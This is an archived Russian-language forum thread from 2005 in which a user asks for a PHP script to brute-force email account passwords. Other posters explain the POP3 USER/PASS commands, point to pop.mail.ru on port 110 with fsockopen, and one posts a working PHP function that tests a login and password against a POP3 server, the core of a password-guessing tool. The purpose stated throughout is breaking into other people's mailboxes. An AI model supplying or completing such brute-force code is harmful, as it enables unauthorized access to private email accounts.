PDA

Просмотр полной версии : Брутфорс на Php


Murz
04.11.2005, 18:16
Помогите найти скрипт брутфорса мыла на Php . Весь инет облазил - ничего не нашел !

Zadoxlik
04.11.2005, 19:10
Там все очень просто если брутить по Pop'у. 2 строки

Murz
04.11.2005, 19:37
А именнно?

Zadoxlik
04.11.2005, 19:48
стандартный порт - 110. Тебе хватит двух команд из этого списка:

USER pop3_login Логин пользователя
PASS pop3_pass Пароль пользователя
LIST Посмотреть состояние ящика
STAT Скольно писем и какой объем
RETR X Скачать письмо номер X
TOP X Y Посмотреть Y строчек (начиная с тела) X письма
( удобно, если ваш ящик забомбили большими файлами,
и вы можете удалить нужное письмо, не скачивая его)
В принципе это может делать The Bat! mailer
( dispatch mail on server )
DELE X Удалить письмо с номером X
QUIT Выход

Jenizix
04.11.2005, 20:02
А разве там не стоит лимит на попытки логина на определеннюу учетную запись?

Zadoxlik
04.11.2005, 20:04
Где "там" ? На нормально настроенном сервере конечно стоит.

Murz
04.11.2005, 20:06
стандартный порт - 110. Тебе хватит двух команд из этого списка:

USER pop3_login Логин пользователя
PASS pop3_pass Пароль пользователя
LIST Посмотреть состояние ящика
STAT Скольно писем и какой объем
RETR X Скачать письмо номер X
TOP X Y Посмотреть Y строчек (начиная с тела) X письма
( удобно, если ваш ящик забомбили большими файлами,
и вы можете удалить нужное письмо, не скачивая его)
В принципе это может делать The Bat! mailer
( dispatch mail on server )
DELE X Удалить письмо с номером X
QUIT Выход

А как подключаться к POP3-серверу ( например, к pop.mail.ru ) , и как сервер реагирует на "правильный" пароль?

Просто дайте ссылку на скрипт PHP, а там я сам разберусь.

Zadoxlik
04.11.2005, 20:09
telnet pop.mail.ru 110 - там посмотри как реагирует.
А присоединиться либо fsockopen(host, 110) либо с помощью socket_create
(тут вполне можно обойтись fsockopen)

Если что не в курсе - php.net

DeathLess
07.11.2005, 09:41
Вот кусок моего фирменного кода:
function pop3xxx($server,$port,$user,$pass)
{
$r=fsockopen($server,$port);
$s=fgets($r);
fputs($r,"user ".$user."\r\n");
$s=fgets($r);
fputs($r,"pass ".$pass."\r\n");
$s=fgets($r);
return strncmp($s,"+OK",3)==0;
fclose($r);
}